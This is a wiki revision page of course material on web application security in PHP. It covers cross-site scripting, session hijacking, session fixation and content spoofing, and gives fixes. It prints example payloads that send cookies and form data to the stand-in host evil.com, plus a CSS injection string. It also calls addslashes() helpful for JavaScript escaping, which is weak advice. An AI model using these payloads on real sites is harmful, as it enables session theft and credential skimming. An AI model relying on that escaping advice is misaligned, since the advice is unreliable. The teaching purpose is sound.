Difference between revisions of "Web Application Security, Part 3"
m (categorizing) |
|||
Line 236: | Line 236: | ||
− | [[Category:Module | + | [[Category:Module 6]] |
[[Category:Web Application Security]] | [[Category:Web Application Security]] |
Revision as of 23:29, 24 February 2013
This is Part 3 of the Web Application Security article, geared toward the material covered in Module 4. For material covered in Module 2 (HTML, CSS, and PHP), see Web Application Security, Part 1. For material covered in Module 3 (MySQL), see Web Application Security, Part 2.
Cross-Site Scripting
Cross-Site Scripting, or XSS, is when an attacker targets an area of your application in which user-supplied input is included in application output. The attacker may use JavaScript to read confidential information and send it to his/her own servers.
There are two types of XSS attacks: persistent and reflected.
Persistent XSS
Persistent XSS occurs when a web site stores input in a database and displays it to victims later. A common vector for Persistent XSS are forum posts or shoutboxes.
For example, consider this code:
<?php
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
while($row=$res->fetch_assoc()){
echo "<p>".$row["content"]."</p>\n";
}
?>
In this example, content from the database is displayed verbatim to the end user. This is vulnerable to a Persistent XSS attack. Suppose the attacker, a computer specialist on contract for BuyShoes.com, typed the following code into the shoutbox:
<script> document.location.href = "http:/www.BuyShoes.com/"; </script>
Everyone viewing the shoutbox will now be automatically forwarded to BuyShoes.com! The shoe manufacturers will be pleased, but most everyone else will be annoyed. (Needless to say, XSS can be used for much more malicious things than rogue marketing.)
Reflected XSS
Reflected XSS is when a web page accepts input and then displays it immediately as output (without the database intermediate). A common vector for Reflected XSS attacks are search queries.
For example, consider the code:
<?php
echo "<h1>Transaction History for: " . $_GET['username'] . "</h1>\n";
?>
This is vulnerable to a Reflected XSS attack. The attacker could trick the victim into visiting this link:
http://www.bank.com/history.php?username=mothergoose+%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fwww.evil.com%2Frecord_cookie%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E
In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on. But this is the code that will be displayed on the page:
<h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1>
Aye yie yie!
Solution
Example 1: Persistent XSS
You need to escape the output. In PHP, you can do this using the htmlentities()
function:
<?php
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
while($row=$res->fetch_assoc()){
$safe = htmlentities($row["content"]);
echo "<p>".$safe."</p>\n";
}
?>
Now, the script would appear as text to the user, and it will not execute. This Persistent XSS threat has been put to rest!
Example 2: Reflected XSS
We again need to escape output:
<?php
$html_safe_username = htmlentities($_GET['username']);
echo "<h1>Transaction History for: " . $html_safe_username . "</h1>\n";
?>
And now our Reflected XSS vulnerability has been put to rest.
Escaping for Non-HTML Output
htmlentities() and its charset-dependent cousin htmlspecialchars() escape output that is safe for HTML. THEY DO NOT RETURN STRINGS THAT ARE SAFE FOR INCLUSION IN JAVASCRIPT OR CSS. For example, the following page is vulnerable to an XSS attack:
<?php
$html_safe_color = htmlentities($_GET['color']);
printf("<style type='text/css'> #box{ color: %s; } </style>", $html_safe_color);
?>
The expected input would probably be something like #ff0033
(an 8-bit RGB color). However, an attacker could feed the following string into $_GET['color']:
#ff0033; z-index:100; top:0; left:0; bottom:0; right:0; position:fixed; background-image:url(http://www.buyshoes.com/ad.png)
The resulting output would be:
<style type="text/css"> #box{ color: #ff0033; z-index:100; top:0; left:0; bottom:0; right:0;
position:fixed; background-image:url(http://www.buyshoes.com/ad.png); } </style>
This would create an advertisement for shoes that would fill the entire browser screen and never go away!
Solution: How to Sanitize Non-HTML Output
Whenever you give output from PHP, you need to remember the context in which the output is going. In the CSS proof of concept above, since you know the format you're expecting for the color, the solution would have been to run the color through a regular expression:
<?php
$safe_color = preg_match('/^\#[0-9a-f]{6}$/', $_GET['color']) ? $_GET['color'] : "#000000";
printf("<style type='text/css'> #box{ color: %s; } </style>", $safe_color);
?>
A helpful function for escaping in JavaScript input is addslashes().
Real-Life Examples
- F-Secure, McAfee, and Symantec, January 2012 (Reflected XSS)
- eBay Germany, August 2011 (Reflected XSS)
- Facebook, April 2011 (Persistent XSS)
- PayPal, October 2010 (Reflected XSS)
- American Express, October 2010 (Reflected XSS)
- Twitter, September 2010 (Persistent XSS)
Further Reading
This section serves to give you general best practices for preventing XSS. However, it does not cover all cases. For a more comprehensive coverage of XSS cases, see https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Session Hijacking
Session Hijacking is when an attacker captures an established session identifier, and then uses that identifier to browse the targeted site under the victim’s identity. The capturing process is often done via XSS. For instance, suppose Dr. Evil posted the following comment in a Shoutbox:
How about them Cardinals! <script> new Image().src = "http://www.evil.com/record_cookie?" + encodeURIComponent(document.cookie); </script>
Everyone viewing the shoutbox will now see Dr. Evil's shout, but they will also unwittingly have their cookies sent to Dr. Evil's server. Since cookies contain the Session ID, Dr. Evil can use that Session ID to surf the targeted site under anyone's identity.
Solution
First, prevent XSS. Once you've done that, there are some extra things you can do to fend off session hijackers.
HTTP-Only Cookies
The first is to use the HTTP Only option on cookies, which prevents cookies from being read by JavaScript (and therefore by XSS). To do this, you can change the session.cookie_httponly
option in php.ini, or you can just use ini_set()
before you start your session:
<?php
ini_set("session.cookie_httponly", 1);
session_start();
?>
Disclaimer: The HTTP Only option is relatively new in browsers, so customers using older browsers will not enjoy the extra protection.
User Agent Consistency
A second thing you can do to help prevent session hijacking is to check the HTTP User Agent between requests. Since cookies are sandboxed inside a browser, and a browser's user agent doesn't change unless it is rebooted (except in edge cases), then the user agent should always be consistent throughout a session.
You can test for HTTP User Agent consistency like this:
<?php
session_start();
$previous_ua = @$_SESSION['useragent'];
$current_ua = $_SERVER['HTTP_USER_AGENT'];
if(isset($_SESSION['useragent']) && $previous_ua !== $current_ua){
die("Session hijack detected");
}else{
$_SESSION['useragent'] = $current_ua;
}
?>
Session Fixation
One word you might hear in the web application security community is session fixation. In many ways, this is the opposite of session hijacking: rather than the attacker taking on the victim's identity, the attacker forces the victim into taking on an identity of the attacker's choice.
Fortunately, PHP's cookie-based sessions are not as vulnerable to session fixation attacks as are sessions that are passed through the URL. The same measures that you use to prevent session hijacking should also prevent session fixation.
There is one thing you can do to help mitigate session fixation, though, and it's also good practice: change the name of the default PHP session ID cookie. To do this, use the function session_name() in PHP, or change the session.name directive in php.ini.
Real-Life Examples
Application-level session hijacking is not an attack vector frequently observed by high-profile companies, although any site vulnerable to XSS is probably vulnerable to application-level session hijacking.
On the other hand, packet-sniffing session hijacking attacks have numerous examples. For more information, see Packet Sniffing.
Content Spoofing
Content Spoofing is when an attacker attempts to mimic the functionality on your site. Phishing is when an attacker uses content spoofing to mine information from victims. For example, victims may log in to the attacker's site, believing that it is your site, giving the attacker the victims' usernames and passwords.
Content spoofing is frequently performed by using misleading URLs. For instance, consider the following:
- www.bank.com.tr/ansfer.php
- www.bank.com/transfer.php
However, content spoofing can also be performed when there is an XSS vulnerability in your site. If the XSS is Reflected, the injected code could forward to an attacker's site, even though the link belongs to your site. If the XSS is Persistent, the attacker could either re-write your site or simply modify the Form prototype to send all form data to the attacker's server before submitting the form (that is, at least when the form is submitted using JavaScript):
<script> var old_sub=HTMLFormElement.prototype.submit; HTMLFormElement.prototype.submit = function(){ new Image().src = "http://www.evil.com/?"+encodeURIComponent(this.innerHTML); old_sub.apply(this, arguments); } </script>
Worse yet, the attacker could just change the "action" on the form to simply send the information to his servers instead of to your servers. Do you see now how preventing XSS will also prevent several other types of web application attack vectors?
Solution
Content Spoofing is largely out of your control as a web developer. You should give users a way to confirm that your site is legitimate. For example, when logging in to your site, you could have users put in their username first, then show the user a picture associated with their account before asking them to put in their password. (Or just use OpenID.)